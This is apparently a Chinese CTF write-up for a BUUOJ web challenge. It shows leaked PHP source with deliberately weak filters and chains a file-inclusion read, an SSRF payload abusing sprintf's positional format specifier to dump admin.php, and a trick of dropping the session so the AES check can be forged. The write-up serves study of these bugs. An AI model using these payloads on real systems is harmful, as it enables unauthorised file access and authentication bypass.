查看包头
访问home.php,查看url
http://4ab7acda-aefd-434e-9e66-647331d51676.node3.buuoj.cn/home.php?file=system
可能存在文件包含漏洞,使用php伪协议尝试获取源代码
源码:
<?php
setcookie("y1ng", sha1(md5('y1ng')), time() + 3600);
setcookie('your_ip_address', md5($_SERVER['REMOTE_ADDR']), time()+3600);
if(isset($_GET['file'])){
if (preg_match("/\^|\~|&|\|/", $_GET['file'])) { //过滤了^、~、&、|字符
die("forbidden");
}
if(preg_match("/.?f.?l.?a.?g.?/i", $_GET['file'])){ //不能包含含有flag字符的文件
die("not now!");
}
if(preg_match("/.?a.?d.?m.?i.?n.?/i", $_GET['file'])){ //不能包含含有admin字符的文件
die("You! are! not! my! admin!");
}
if(preg_match("/^home$/i", $_GET['file'])){ //不能只包含home字符串
die("禁止套娃");
}
else{
if(preg_match("/home$/i", $_GET['file']) or preg_match("/system$/i", $_GET['file'])){
$file = $_GET['file'].".php";
}
else{
$file = $_GET['file'].".fxxkyou!"; //只能以home和system结尾
}
echo "现在访问的是 ".$file . "<br>";
require $file;
}
} else {
echo "<script>location.href='./home.php?file=system'</script>";
}
使用同样的方法读取system文件
<?php
error_reporting(0);
if (!isset($_COOKIE['y1ng']) || $_COOKIE['y1ng'] !== sha1(md5('y1ng'))){
echo "<script>alert('why you are here!');alert('fxck your scanner');alert('fxck you! get out!');</script>";
header("Refresh:0.1;url=index.php");
die;
}
$str2 = ' Error: url invalid<br>~$ ';
$str3 = ' Error: damn hacker!<br>~$ ';
$str4 = ' Error: request method error<br>~$ ';
?>
......<此处HTML代码省略>
<?php
$filter1 = '/^http:\/\/127\.0\.0\.1\//i';
$filter2 = '/.?f.?l.?a.?g.?/i';
if (isset($_POST['q1']) && isset($_POST['q2']) && isset($_POST['q3']) ) {
$url = $_POST['q2'].".y1ng.txt";
$method = $_POST['q3'];
$str1 = "~$ python fuck.py -u \"".$url ."\" -M $method -U y1ng -P admin123123 --neglect-negative --debug --hint=xiangdemei<br>";
echo $str1;
if (!preg_match($filter1, $url) ){
die($str2);
}
if (preg_match($filter2, $url)) {
die($str3);
}
if (!preg_match('/^GET/i', $method) && !preg_match('/^POST/i', $method)) {
die($str4);
}
$detect = @file_get_contents($url, false);
print(sprintf("$url method&content_size:$method%d", $detect));
}
?>
重点关注后半段PHP代码,我们可以获取到以下的限制条件:
1.不能包含有flag字符串
2.q2的值必须以http://127.0.0.1/开头,其实相当于是限制了只能通过SSRF读取文件
3.POST获取了q1、q2、q3三个值,其中q1值并没有什么限制,q2后会拼接“.y1ng.txt”字符串,q3中需要以GET或POST字符串开头。
首先是无法直接读取到flag文件,通过home.php文件的源码我们可以猜测应该还存在admin.php文件,
其次就是我们传进去的URL即q2值会被拼接上无用字符串,我们可以通过在URL后加 “?a=(GET赋值给一个参数)” 或 “#(锚点)” 来让其失效,
最后一个考的点就是在这两行代码上:
$detect = @file_get_contents($url, false);
print(sprintf("$url method&content_size:$method%d", $detect));
构造出Payload,POST发送给system.php即可获得admin.php的源码:
q1=1&q2=http://127.0.0.1/admin.php#&q3=GET%1$s
源码:
<?php
error_reporting(0);
session_start();
$f1ag = 'f1ag{s1mpl3_SSRF_@nd_spr1ntf}'; //fake
function aesEn($data, $key)
{
$method = 'AES-128-CBC';
$iv = md5($_SERVER['REMOTE_ADDR'],true);
return base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
}
function Check()
{
if (isset($_COOKIE['your_ip_address']) && $_COOKIE['your_ip_address'] === md5($_SERVER['REMOTE_ADDR']) && $_COOKIE['y1ng'] === sha1(md5('y1ng')))
return true;
else
return false;
}
if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
highlight_file(__FILE__);
} else {
echo "<head><title>403 Forbidden</title></head><body bgcolor=black><center><font size='10px' color=white><br>only 127.0.0.1 can access! You know what I mean right?<br>your ip address is " . $_SERVER['REMOTE_ADDR'];
}
$_SESSION['user'] = md5($_SERVER['REMOTE_ADDR']);
if (isset($_GET['decrypt'])) { //只要传入decrypt参数就不会生成随机数
$decr = $_GET['decrypt'];
if (Check()){
$data = $_SESSION['secret'];
include 'flag_2sln2ndln2klnlksnf.php';
$cipher = aesEn($data, 'y1ng'); //注意!这里加密的内容是从SESSION中取的,突破点就在这里
if ($decr === $cipher){
echo WHAT_YOU_WANT;
} else {
die('爬');
}
} else{
header("Refresh:0.1;url=index.php");
}
} else {
//I heard you can break PHP mt_rand seed
mt_srand(rand(0,9999999)); //这里的种子是真随机了,无法爆破
$length = mt_rand(40,80);
$_SESSION['secret'] = bin2hex(random_bytes($length));
}
?>
只要我们在访问admin.php时,删除session访问,代码就会变成
$cipher = aesEn(NULL, 'y1ng');
因此我们就可以计算出密钥,从而获得Flag。
把加密算法改一下得到:
function aesEn($data, $key){
$method = 'AES-128-CBC';
$iv = md5('172.16.170.85',true);
return base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
}
echo aesEn('', 'y1ng')
得到密钥:LS5t5AHVZ8xNIRXtFmCQrg==
访问得到flag